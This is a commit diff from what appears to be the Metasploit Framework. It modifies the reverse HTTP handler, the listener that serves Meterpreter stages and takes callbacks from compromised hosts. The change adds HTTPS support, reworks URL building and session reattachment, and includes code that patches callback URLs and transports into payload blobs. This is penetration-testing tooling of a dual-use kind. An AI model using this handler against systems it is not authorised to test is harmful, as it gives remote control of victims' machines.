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Merge branch 'reverse-http-redmine-7141' of https://github.com/jlee-r…
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…7/metasploit-framework into jlee-r7-reverse-http-redmine-7141
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@sinn3r
sinn3r committed Aug 21, 2012
2 parents ed9ed25 + 66c5d8b commit 5e89c54
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139 changes: 86 additions & 53 deletions lib/msf/core/handler/reverse_http.rb
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Expand Up @@ -15,8 +15,7 @@ module ReverseHttp
include Msf::Handler

#
# Returns the string representation of the handler type, in this case
# 'reverse_http'.
# Returns the string representation of the handler type
#
def self.handler_type
return "reverse_http"
Expand All @@ -41,13 +40,66 @@ def self.general_handler_type
#
# Precalculated checkums as fallback
#
URI_CHECKSUM_PRECALC = ["Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp", "cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt", "E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby", "tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563", "0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg", "U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E", "KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2", "1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ", "HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg", "J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1", "k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5", "bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I", "YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ", "KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC", "CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ", "2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5", "Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi", "iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP", "eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA", "oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL", "dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS", "BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t", "7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG", "kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM", "aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg", "zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx"]
URI_CHECKSUM_PRECALC = [
"Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp",
"cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt",
"E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby",
"tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563",
"0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg",
"U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E",
"KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2",
"1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ",
"HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg",
"J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1",
"k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5",
"bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I",
"YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ",
"KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC",
"CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ",
"2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5",
"Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi",
"iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP",
"eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA",
"oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL",
"dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS",
"BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t",
"7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG",
"kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM",
"aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg",
"zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx"
]

#
# Use the +refname+ to determine whether this handler uses SSL or not
#
def ssl?
!!(self.refname.index("https"))
end

#
# Return a URI of the form scheme://host:port/
#
# Scheme is one of http or https and host is properly wrapped in [] for ipv6
# addresses.
#
def full_uri
lhost = datastore['LHOST']
if lhost.empty? or lhost == "0.0.0.0" or lhost == "::"
lhost = Rex::Socket.source_address
end
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
scheme = (ssl?) ? "https" : "http"
uri = "#{scheme}://#{lhost}:#{datastore["LPORT"]}/"

uri
end

#
# Map "random" URIs to static strings, allowing us to randomize
# the URI sent in the first request.
#
def process_uri_resource(uri_match)

# This allows 'random' strings to be used as markers for
# the INIT and CONN request types, based on a checksum
uri_strip, uri_conn = uri_match.split('_', 2)
Expand Down Expand Up @@ -92,7 +144,7 @@ def initialize(info = {})
register_options(
[
OptString.new('LHOST', [ true, "The local listener hostname" ]),
OptPort.new('LPORT', [ true, "The local listener port", 8443 ])
OptPort.new('LPORT', [ true, "The local listener port", 8080 ])
], Msf::Handler::ReverseHttp)

register_advanced_options(
Expand All @@ -113,7 +165,7 @@ def ipv6
end

#
# Create a HTTP listener
# Create an HTTP listener
#
def setup_handler

Expand All @@ -128,14 +180,15 @@ def setup_handler
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
datastore['LPORT'].to_i,
ipv6 ? '::' : '0.0.0.0',
false,
ssl?,
{
'Msf' => framework,
'MsfExploit' => self,
},
comm
comm,
(ssl?) ? datastore["SSLCert"] : nil
)

self.service.server_name = datastore['MeterpreterServerName']

# Create a reference to ourselves
Expand All @@ -148,8 +201,7 @@ def setup_handler
},
'VirtualDirectory' => true)

self.conn_ids = []
print_status("Started HTTP reverse handler on http://#{datastore['LHOST']}:#{datastore['LPORT']}/")
print_status("Started HTTP#{ssl? ? "S" : ""} reverse handler on #{full_uri}")
end

#
Expand All @@ -175,7 +227,6 @@ def stop_handler
end

attr_accessor :service # :nodoc:
attr_accessor :conn_ids

protected

Expand All @@ -188,26 +239,13 @@ def on_request(cli, req, obj)

print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")


lhost = datastore['LHOST']

# Default to our own IP if the user specified 0.0.0.0 (pebkac avoidance)
if lhost.empty? or lhost == '0.0.0.0'
lhost = Rex::Socket.source_address(cli.peerhost)
end

lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)

uri_match = process_uri_resource(req.relative_resource)

# Process the requested resource.
case uri_match
when /^\/INITJM/
print_line("Java: #{req.relative_resource}")

conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = "http://#{lhost}:#{datastore['LPORT']}/" + conn_id + "/\x00"
print_line "URL: #{url.inspect}"
url = full_uri + conn_id + "/\x00"

blob = ""
blob << obj.generate_stage
Expand All @@ -222,7 +260,6 @@ def on_request(cli, req, obj)
blob << [packet.length+8, 0].pack('NN') + packet

resp.body = blob
conn_ids << conn_id

# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
Expand All @@ -231,11 +268,10 @@ def on_request(cli, req, obj)
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => false
:ssl => ssl?
})

when /^\/A?INITM?/
print_line("Win32: #{req.relative_resource}")

url = ''

Expand All @@ -251,19 +287,19 @@ def on_request(cli, req, obj)
blob[i, str.length] = str
print_status("Patched user-agent at offset #{i}...")
end

# Replace the transport string first (TRANSPORT_SOCKET_SSL)
i = blob.index("METERPRETER_TRANSPORT_SSL")
if i
str = "METERPRETER_TRANSPORT_HTTP\x00"
str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00"
blob[i, str.length] = str
end
print_status("Patched transport at offset #{i}...")

conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
i = blob.index("https://" + ("X" * 256))
if i
url = "http://#{lhost}:#{datastore['LPORT']}/" + conn_id + "/\x00"
url = full_uri + conn_id + "/\x00"
blob[i, url.length] = url
end
print_status("Patched URL at offset #{i}...")
Expand All @@ -275,7 +311,6 @@ def on_request(cli, req, obj)
end
print_status("Patched Expiration Timeout at offset #{i}...")


i = blob.index([0xaf79257f].pack("V"))
if i
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
Expand All @@ -285,36 +320,33 @@ def on_request(cli, req, obj)

resp.body = blob

conn_ids << conn_id

# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => false
:ssl => ssl?,
})
when /^\/(CONN_.*)\//

when /^\/CONN_.*\//
resp.body = ""
conn_id = $1
print_line("Received poll from #{conn_id}")

if not self.conn_ids.include?(conn_id)
print_status("Incoming orphaned session #{conn_id}, reattaching...")
conn_ids << conn_id

# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => false
})
end
# Grab the checksummed version of CONN from the payload's request.
conn_id = req.relative_resource.gsub("/", "")

print_status("Incoming orphaned session #{conn_id}, reattaching...")

# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => full_uri + conn_id + "/\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?,
})

else
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{uri_match} #{req.inspect}...")
resp.code = 200
Expand All @@ -333,3 +365,4 @@ def on_request(cli, req, obj)

end
end

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